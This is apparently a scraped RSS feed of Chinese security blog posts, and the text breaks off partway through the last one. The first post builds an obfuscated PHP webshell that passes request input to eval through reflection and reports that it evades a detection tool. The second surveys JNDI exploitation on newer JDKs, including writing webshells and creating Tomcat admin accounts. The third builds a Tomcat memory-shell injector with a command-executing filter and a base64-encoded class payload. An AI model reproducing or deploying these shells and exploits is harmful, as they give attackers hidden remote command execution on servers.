<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750503163394.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">那好，既然define这个思路可以过部分检测的话，就顺着define修改，既然拼接行不通，那就是不能在该代码中有完整的assert字段，可以试着修改define的字段，首先先尝试以下代码：</p>
<pre><code class="language-php">&lt;?php
define('var3','a'.'ss'.'et');
$pass = "gowninng";

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    $instance = new Command();
    $reflectionClass = new ReflectionClass('Command');
    $reflectionProperty = $reflectionClass-&gt;getProperty($instance-&gt;var2);
    $reflectionProperty-&gt;setAccessible(true);
    $command = $reflectionProperty-&gt;getValue($instance);
    $reflectionMethod = new ReflectionFunction($command);
    $result = $reflectionMethod-&gt;invoke($param);
    echo $result;
}
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this-&gt;var2 = "var1";
        $var2 = var3;
        $this-&gt;var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}
?&gt;</code></pre>
<p style=""><code>define('var3','a'.'ss'.'et'); </code>少一个r。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750510169511.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">既然少字段可以绕过检测，那么，是不是可以尝试从外部获取字母并拼接成assert呢？当然可以，从<code>C:\Windows\System32\drivers\etc</code>文件中获取<code>a s s e r t</code>六个字母拼接并赋值到全局变量：</p>
<pre><code class="language-php">//全局变量 从C:\Windows\System32\drivers\etc文件中获取g e t三个字母拼接并赋值到全局变量gowninng
$etcDir = 'C:\Windows\System32\drivers\etc';
$files = scandir($etcDir);
$content = '';
foreach ($files as $file) {
    if ($file != '.' &amp;&amp; $file != '..') {
        $content .= file_get_contents("$etcDir/$file");
        if (strlen($content) &gt; 100) break; // 防止读取太多内容
    }
}
$a = ''; $s = ''; $e = ''; $r = ''; $t = '';
for ($i = 0; $i &lt; strlen($content); $i++) {
    $char = strtolower($content[$i]);
    if ($char == 'a' &amp;&amp; empty($a)) $a = $char;
    if ($char == 's' &amp;&amp; empty($s)) $s = $char;
    if ($char == 'e' &amp;&amp; empty($e)) $e = $char;
    if ($char == 'r' &amp;&amp; empty($r)) $r = $char;
    if ($char == 't' &amp;&amp; empty($t)) $t = $char;
    if (!empty($a) &amp;&amp; !empty($s) &amp;&amp; !empty($e) &amp;&amp; !empty($r) &amp;&amp; !empty($t)) break;
}
define("var3", $a . $s . $s. $e . $r . $t);</code></pre>
<p style="">完整代码：</p>
<pre><code class="language-php">&lt;?php
// error_reporting(0);
//全局变量 从C:\Windows\System32\drivers\etc文件中获取g e t三个字母拼接并赋值到全局变量gowninng
$etcDir = 'C:\Windows\System32\drivers\etc';
$files = scandir($etcDir);
$content = '';
foreach ($files as $file) {
    if ($file != '.' &amp;&amp; $file != '..') {
        $content .= file_get_contents("$etcDir/$file");
        if (strlen($content) &gt; 100) break; // 防止读取太多内容
    }
}
$a = ''; $s = ''; $e = ''; $r = ''; $t = '';
for ($i = 0; $i &lt; strlen($content); $i++) {
    $char = strtolower($content[$i]);
    if ($char == 'a' &amp;&amp; empty($a)) $a = $char;
    if ($char == 's' &amp;&amp; empty($s)) $s = $char;
    if ($char == 'e' &amp;&amp; empty($e)) $e = $char;
    if ($char == 'r' &amp;&amp; empty($r)) $r = $char;
    if ($char == 't' &amp;&amp; empty($t)) $t = $char;
    if (!empty($a) &amp;&amp; !empty($s) &amp;&amp; !empty($e) &amp;&amp; !empty($r) &amp;&amp; !empty($t)) break;
}
define("var3", $a . $s . $s. $e . $r . $t);
$pass = "gowninng";

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    $instance = new Command();
    $reflectionClass = new ReflectionClass('Command');
    $reflectionProperty = $reflectionClass-&gt;getProperty($instance-&gt;var2);
    $reflectionProperty-&gt;setAccessible(true);
    $command = $reflectionProperty-&gt;getValue($instance);
    $reflectionMethod = new ReflectionFunction($command);
    $result = $reflectionMethod-&gt;invoke($param);
    echo $result;
}
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this-&gt;var2 = "var1";
        $var2 = var3;
        $this-&gt;var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}
?&gt;</code></pre>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750510797456.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">直接绕过，那么有同学会说，<code>assert</code>这样赋值的话，php7以上能好使么？当然不好使，在 PHP 7.2+ 版本中，<code>assert() </code>不再支持字符串参数动态求值，所有以下报错：</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750511886676.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">所以我们要改class类的代码了，直接让<code>assert</code>或者<code>eval</code>直接在代码中作为方法引用。</p>
<h3 style="" id="php7%E7%89%88%E6%9C%AC">PHP7版本</h3>
<p style="">首先，要修改<code>Command</code>类的代码：</p>
<pre><code class="language-php">class Command {
    private $get;
    public $command;
    public function __construct() {
        $this-&gt;command = var3;
        $this-&gt;get = function ($param) {  return eval($param.'exit();//'); };
    }
}</code></pre>
<p style="">既然将<code>eval</code>写到代码中了，就不用再通过外部文件获取代码执行的方法名称了，但是根据上面的反射代码条件，反射是访问公共属性<code>command</code>的值，现在<code>$this-&gt;command = var3</code>，我们就要赋值全局变量var3为get三个字母，才能调用<code>$this-&gt;get</code>属性的实际值，这个值为<code>function ($param) { return eval($param.'exit();//'); };</code> ，通过创建一个反射函数对象反射该无命名方法并传入参数。</p>
<p style="">接下来贴上完整代码：</p>
<pre><code class="language-php">&lt;?php
// error_reporting(0);
//全局变量 从C:\Windows\System32\drivers\etc文件中获取字母拼接并赋值到全局变量gowninng
$etcDir = 'C:\Windows\System32\drivers\etc';
$files = scandir($etcDir);
$content = '';
foreach ($files as $file) {
    if ($file != '.' &amp;&amp; $file != '..') {
        $content .= file_get_contents("$etcDir/$file");
        if (strlen($content) &gt; 100) break; // 防止读取太多内容
    }
}
$g = ''; $e = ''; $t = '';
for ($i = 0; $i &lt; strlen($content); $i++) {
    $char = strtolower($content[$i]);
    if ($char == 'g' &amp;&amp; empty($g)) $g = $char;
    if ($char == 'e' &amp;&amp; empty($e)) $e = $char;
    if ($char == 't' &amp;&amp; empty($t)) $t = $char;
    if (!empty($g) &amp;&amp; !empty($e) &amp;&amp; !empty($t)) break;
}
define("var3", $g . $e . $t);
$pass = "gowninng";

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    // 创建一个Command类的实例
    $instance = new Command();
    // 创建一个反射类对象，用于检查和操作Command类
    $reflectionClass = new ReflectionClass('Command');
    // 获取实例中command属性的反射对象
    // 注意：$instance-&gt;command尝试访问公共属性command的值，这个值被用作字符串来查找属性
    $reflectionProperty = $reflectionClass-&gt;getProperty($instance-&gt;command);
    // 设置反射属性为可访问，即使它是私有或受保护的
    $reflectionProperty-&gt;setAccessible(true);
    // 从实例中获取该属性的实际值（通常是一个闭包函数）
    $command = $reflectionProperty-&gt;getValue($instance);
    // 创建一个反射函数对象，用于检查和调用函数
    $reflectionMethod = new ReflectionFunction($command);
    // 调用获取的函数，并传入$param参数（通常是从请求中获取的代码）
    $result = $reflectionMethod-&gt;invoke($param);
    echo $result;
}
class Command {
    private $get;
    public $command;
    public function __construct() {
        $this-&gt;command = var3;
        $this-&gt;get = function ($param) {  return eval($param.'exit();//'); };
    }
}
?&gt;</code></pre>
<p style="">我们尝试下执行phpinfo，没毛病。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750511965618.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">接下来过一下检测，同样没问题。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750512023086.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750512565131.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750512152496.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">get这三个字母也可以通过获取文件名等方式获取，比如将该webshell文件改成get.php只获取get字段，还有很多方法绕过，同样可以改成蚁剑加载器等，不一一讲述。</p>]]></description><guid isPermaLink="false">/archives/019b8d6a-2c1c-7340-b783-6a4cbeadcfd6</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2FIMG_4008.JPG&amp;size=m" type="image/jpeg" length="79623"/><category>网络安全</category><pubDate>Sat, 21 Jun 2025 10:07:23 GMT</pubDate></item><item><title><![CDATA[高版本JDK下JNDI漏洞利用方法精简总结]]></title><link>http://gowninng.cn/archives/019b8d6a-199a-7594-b17b-9892de166de9</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=%E9%AB%98%E7%89%88%E6%9C%ACJDK%E4%B8%8BJNDI%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95%E7%B2%BE%E7%AE%80%E6%80%BB%E7%BB%93&amp;url=/archives/019b8d6a-199a-7594-b17b-9892de166de9" width="1" height="1" alt="" style="opacity:0;">
<h2 style="" id="%E5%89%8D%E8%A8%80"><strong>前言</strong></h2>
<p style="line-height: 1.75">高版本JDK在RMI和LDAP的 <code>trustURLCodebase</code> 做了限制，修复后的JDK版本无法在不修改该参数的情况下通过远程加载ObjectFactory类的方式执行Java代码。目前公开常用的利用方法有通过Tomcat的 <code>org.apache.naming.factory.BeanFactory</code> 工厂类调用 <code>javax.el.ELProcessor#eval</code> 方法或 <code>groovy.lang.GroovyShell#evaluate</code> 方法，以及通过LDAP的 <code>javaSerializedData</code> 反序列化gadget，但在一些特殊情况下这些方法可能不适用，于是探讨其他利用方法。</p>
<h2 style="" id="%E5%9F%BA%E4%BA%8Ebeanfactory%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95"><strong>基于BeanFactory的利用方法</strong></h2>
<h3 style="" id="%E7%BB%95%E8%BF%87%E5%8E%9F%E7%90%86"><strong>绕过原理</strong></h3>
<p style="line-height: 1.75">LDAP和RMI收到服务端反序列化的 <code>Reference</code> 对象后，会根据 <code>classFactory</code> 属性从本地classpath中实例化一个ObjectFactory对象，然后调用其 <code>getObjectInstance</code> 方法。Tomcat的 <code>org.apache.naming.factory.BeanFactory</code> 类会把 <code>Reference</code> 对象的 <code>className</code> 属性作为类名实例化对象，从 <code>Reference</code> 对象的Addrs参数集合中获取 <code>forceString</code> 类型的参数，按逗号和等号分割后，根据propName作为方法名称反射调用相应方法。 <code>javax.el.ELProcessor#eval</code> 和 <code>groovy.lang.GroovyShell#evaluate</code> 这两个方法可只传一个String参数执行攻击代码，且依赖库常见，因此被经常使用。</p>
<h3 style="" id="%E5%8F%AF%E7%94%A8%E7%9A%84%E5%88%A9%E7%94%A8%E7%B1%BB"><strong>可用的利用类</strong></h3>
<ol>
 <li>
  <p style=""><strong>MLet</strong>：JDK自带的 <code>javax.management.loading.MLet</code> 类，继承自URLClassloader，有一个无参构造方法和 <code>addURL(String)</code>、<code>loadClass(String)</code> 方法。可用于gadget探测，但单靠 <code>ClassLoader.loadClass</code> 无法触发static代码块，暂时无法RCE。</p>
 </li>
 <li>
  <p style=""><strong>GroovyClassLoader</strong>：原理和MLet基本相同，可实现RCE，但由于已有 <code>groovy.lang.GroovyShell</code> 可用，该类价值不大。</p>
 </li>
 <li>
  <p style=""><strong>SnakeYaml</strong>：<code>new org.yaml.snakeyaml.Yaml().load(String)</code> 符合条件，依赖库使用比Groovy更常见，有一定利用价值。</p>
 </li>
 <li>
  <p style=""><strong>XStream</strong>：<code>new com.thoughtworks.xstream.XStream().fromXML(String)</code> 符合条件，可用于攻击。</p>
 </li>
 <li>
  <p style=""><strong>MVEL</strong>：入口 <code>org.mvel2.MVEL#eval(String)</code> 因无参构造方法是private修饰，不符合条件，但可从 <code>org.mvel2.sh.ShellSession#exec(String)</code> 进入，通过执行内置命令调用 <code>MVEL.eval</code> 解析表达式。</p>
 </li>
 <li>
  <p style=""><strong>NativeLibLoader</strong>：JDK的 <code>com.sun.glass.utils.NativeLibLoader</code> 类有 <code>loadLibrary(String)</code> 方法，可加载指定路径的动态链接库文件，结合WEB功能或写文件gadget上传动态链接库后可执行命令。</p>
 </li>
</ol>
<h2 style="" id="xxe-%26-rce"><strong>XXE &amp; RCE</strong></h2>
<h3 style="" id="%E6%BC%8F%E6%B4%9E%E5%8F%91%E7%8E%B0"><strong>漏洞发现</strong></h3>
<p style="line-height: 1.75">通过搜索实现 <code>javax.naming.spi.ObjectFactory</code> 接口的类，发现Tomcat的 <code>org.apache.catalina.users.MemoryUserDatabaseFactory</code> 工厂类可能存在漏洞。该类会实例化 <code>MemoryUserDatabase</code> 对象，从 <code>Reference</code> 中取出 <code>pathname</code>、<code>readonly</code> 参数赋值，然后调用 <code>open()</code> 和 <code>save()</code> 方法。</p>
<h3 style="" id="xxe%E6%BC%8F%E6%B4%9E"><strong>XXE漏洞</strong></h3>
<p style="line-height: 1.75"><code>open()</code> 方法会根据 <code>pathname</code> 发起本地或远程文件访问，使用commons-digester解析返回的XML内容，存在XXE漏洞。</p>
<h3 style="" id="rce%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95"><strong>RCE漏洞及利用方法</strong></h3>
<ol>
 <li>
  <p style=""><strong>问题分析</strong>：在Linux系统下，由于目录跳转问题，需要在 <code>CATALINA.BASE</code> 文件夹下创建特定目录，可使用 <code>BeanFactory</code> 执行创建目录的利用类，如 <code>org.h2.store.fs.FileUtils#createDirectory(String)</code>。</p>
 </li>
 <li>
  <p style=""><strong>利用方法</strong>：</p>
  <ul>
   <li>
    <p style=""><strong>创建Tomcat管理员</strong>：让JNDI返回特定的 <code>ResourceRef</code> 对象，可覆盖 <code>CATALINA.BASE/conf/tomcat-users.xml</code> 文件，实现创建Tomcat管理员的目的。</p>
   </li>
   <li>
    <p style=""><strong>写Webshell</strong>：让JNDI返回另一个 <code>ResourceRef</code> 对象，可将包含攻击代码的XML写入web目录，实现写Webshell的功能。</p>
   </li>
  </ul>
 </li>
</ol>
<h2 style="" id="jdbc-rce"><strong>JDBC RCE</strong></h2>
<p style="line-height: 1.75">根据classpath下可用的jdbc驱动构造相应的payload，实现RCE。</p>
<h3 style="" id="dbcp"><strong>dbcp</strong></h3>
<p style="line-height: 1.75">分为dbcp1和dbcp2，又分为commons-dbcp和Tomcat自带的dbcp。当 <code>InitialSize &gt; 0</code> 时，会调用 <code>getLogWriter</code> 方法创建数据库连接。提供了不同版本dbcp的RCE方法。</p>
<h3 style="" id="tomcat---jdbc"><strong>tomcat - jdbc</strong></h3>
<p style="line-height: 1.75">可使用 <code>org.apache.tomcat.jdbc.pool.DataSourceFactory</code> 实现RCE。</p>
<h3 style="" id="druid"><strong>druid</strong></h3>
<p style="line-height: 1.75">参考<a href="https://xz.aliyun.com/t/10656" target="_self" rel="">《JNDI jdk高版本绕过—— Druid》</a> ，和dbcp原理一样，可构造相应的 <code>Reference</code> 对象实现RCE。</p>
<h2 style="" id="deserialize"><strong>Deserialize</strong></h2>
<p style="line-height: 1.75">虽然在查看 <code>ObjectFactory</code> 时发现有几个类有反序列化的地方，但JNDI本身就能反序列化。</p>
<h2 style="" id="%E5%BC%95%E7%94%A8">引用</h2>
<p style=""><hyperlink-inline-card target="_blank" href="https://tttang.com/archive/1405/" theme="inline"><a href="https://tttang.com/archive/1405/" target="_blank">https://tttang.com/archive/1405/</a></hyperlink-inline-card></p>]]></description><guid isPermaLink="false">/archives/019b8d6a-199a-7594-b17b-9892de166de9</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fhuang-xuheng-q4b_oA_FXNA-unsplash.jpg&amp;size=m" type="image/jpeg" length="13632"/><category>网络安全</category><pubDate>Fri, 20 Jun 2025 02:42:14 GMT</pubDate></item><item><title><![CDATA[Tomcat高版本注入内存马]]></title><link>http://gowninng.cn/archives/019b6af2-d435-742a-8467-d2320883b5d2</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=Tomcat%E9%AB%98%E7%89%88%E6%9C%AC%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC&amp;url=/archives/019b6af2-d435-742a-8467-d2320883b5d2" width="1" height="1" alt="" style="opacity:0;">
<h3 style="" id="%E5%89%8D%E8%A8%80">前言</h3>
<p style="">之前已在<hyperlink-inline-card target="_blank" href="https://gowninng.cn/archives/019b8d68-fe57-776c-890b-fada4ad9fefb#jndi%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80" theme="inline"><a href="https://gowninng.cn/archives/019b8d68-fe57-776c-890b-fada4ad9fefb#jndi%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80" target="_blank">https://gowninng.cn/archives/019b8d68-fe57-776c-890b-fada4ad9fefb#jndi%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80</a></hyperlink-inline-card>一文中讲解了JNDI注入基础，并使用<span style="font-size: 16px">工具marshalsec起一个LDAP服务，使用</span>远程的class文件（下载的类中会被自动执行的地方只有三个代码块，分别是static{}，{}和无参构造方法）执行恶意代码。并没有在Tomcat环境中演示该示例，所以本次将在Tomcat8和9环境下注入恶意代码。</p>
<h3 style="" id="tomcat8%E7%8E%AF%E5%A2%83">tomcat8环境</h3>
<p style="">先创建Tomcat8项目，java版本为1.8.0_41，并且非Tomcat8.5及以上版本。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750308351162.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750308487857.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">代码如下，Servlet的doGet方法中调用lookup()请求传来的数据。</p>
<pre><code class="language-java">package zero.overflow.jndidemo;

import javax.naming.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) {
        String name = request.getParameter("name");
        try {
            InitialContext context = new InitialContext();
            context.lookup(name);
        } catch (NamingException e) {
            throw new RuntimeException(e);
        }
    }
}
</code></pre>
<p style="">启动tomcat8服务。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750321258912.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">开始构造恶意代码项目：</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750316392633.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">在当前项目中的pom.xml中添加tomcat8.0.53、javax.servlet-api及javassist依赖：</p>
<pre><code class="language-xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"&gt;
    &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;

    &lt;groupId&gt;org.example&lt;/groupId&gt;
    &lt;artifactId&gt;tomcat8jndi-inject&lt;/artifactId&gt;
    &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt;
    &lt;dependencies&gt;
        &lt;dependency&gt;
            &lt;groupId&gt;org.apache.tomcat&lt;/groupId&gt;
            &lt;artifactId&gt;tomcat-catalina&lt;/artifactId&gt;
            &lt;version&gt;8.0.53&lt;/version&gt;
        &lt;/dependency&gt;
        &lt;dependency&gt;
            &lt;groupId&gt;javax.servlet&lt;/groupId&gt;
            &lt;artifactId&gt;javax.servlet-api&lt;/artifactId&gt;
            &lt;version&gt;4.0.1&lt;/version&gt;
        &lt;/dependency&gt;
        &lt;dependency&gt;
            &lt;groupId&gt;org.javassist&lt;/groupId&gt;
            &lt;artifactId&gt;javassist&lt;/artifactId&gt;
            &lt;version&gt;3.21.0-GA&lt;/version&gt;
        &lt;/dependency&gt;
    &lt;/dependencies&gt;

    &lt;properties&gt;
        &lt;maven.compiler.source&gt;8&lt;/maven.compiler.source&gt;
        &lt;maven.compiler.target&gt;8&lt;/maven.compiler.target&gt;
        &lt;project.build.sourceEncoding&gt;UTF-8&lt;/project.build.sourceEncoding&gt;
    &lt;/properties&gt;

&lt;/project&gt;</code></pre>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750321350066.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">新建三个文件：</p>
<p style="">1.cmd命令执行文件。</p>
<pre><code class="language-java">import javax.servlet.*;
import java.io.*;
public class ShellFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) {}
    @Override
    public void destroy() {}
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader bufferedReader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                response.getWriter().println(line);
            }
        }
    }
}</code></pre>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750321446757.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">2.将shell转为base64。</p>
<pre><code class="language-java">import javassist.*;
import java.util.Base64;

public class DumpBase64 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        // 从类路径获取CtClass对象
        CtClass ctClass = pool.get("ShellFilter");

        // 转换为字节数组
        byte[] classBytes = ctClass.toBytecode();

        // 使用BASE64Encoder进行Base64编码
        String code = Base64.getEncoder().encodeToString(classBytes);
        System.out.println(code);
    }
}</code></pre>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750321520927.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">运行该文件，会获得编码后的的base64shell。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750321637496.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">3.将编码的shell添加到写好的内存马中：</p>
<pre><code class="language-java">import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.Filter;
import java.lang.reflect.Method;
import java.util.Base64;

public class Inject {
    public StandardContext getContext() {
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
        StandardContext context = (StandardContext) standardroot.getContext();
        return context;
    }
    public Filter getFilter() throws Exception {
        String code = "yv66vgAAADQAXwoADwA0CAArCwA1ADYKADcAOAoANwA5BwA6BwA7CgA8AD0KAAcAPgoABgA/CgAGAEALAEEAQgoAQwBEBwBFBwBGBwBHAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MU2hlbGxGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAHZGVzdHJveQEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQADY21kAQANU3RhY2tNYXBUYWJsZQcASAcASQcAOgEACkV4Y2VwdGlvbnMHAEoBAApTb3VyY2VGaWxlAQAQU2hlbGxGaWx0ZXIuamF2YQwAEQASBwBLDABMAE0HAE4MAE8AUAwAUQBSAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAEkMAFMAVAwAEQBVDAARAFYMAFcAWAcAWQwAWgBbBwBcDABdAF4BAAtTaGVsbEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEADgAPAAEAEAAAAAQAAQARABIAAQATAAAALwABAAEAAAAFKrcAAbEAAAACABQAAAAGAAEAAAAEABUAAAAMAAEAAAAFABYAFwAAAAEAGAAZAAEAEwAAADUAAAACAAAAAbEAAAACABQAAAAGAAEAAAAGABUAAAAWAAIAAAABABYAFwAAAAAAAQAaABsAAQABABwAEgABABMAAAArAAAAAQAAAAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAAAQAWABcAAAABAB0AHgACABMAAADrAAUACAAAAEgrEgK5AAMCADoEGQTGADu4AAQZBLYABToFuwAGWbsAB1kZBbYACLcACbcACjoGGQa2AAtZOgfGABEsuQAMAQAZB7YADaf/6rEAAAADABQAAAAiAAgAAAALAAoADAAPAA0AGQAOACMADwAuABEAOQASAEcAFQAVAAAAUgAIABkALgAfACAABQAuABkAIQAiAAYANgARACMAJAAHAAAASAAWABcAAAAAAEgAJQAmAAEAAABIACcAKAACAAAASAApACoAAwAKAD4AKwAkAAQALAAAABEAAv4ALgcALQcALgcAL/kAGAAwAAAABAABADEAAQAyAAAAAgAz";
        byte[] bytes = Base64.getDecoder().decode(code);

        ClassLoader cl = Thread.currentThread().getContextClassLoader();
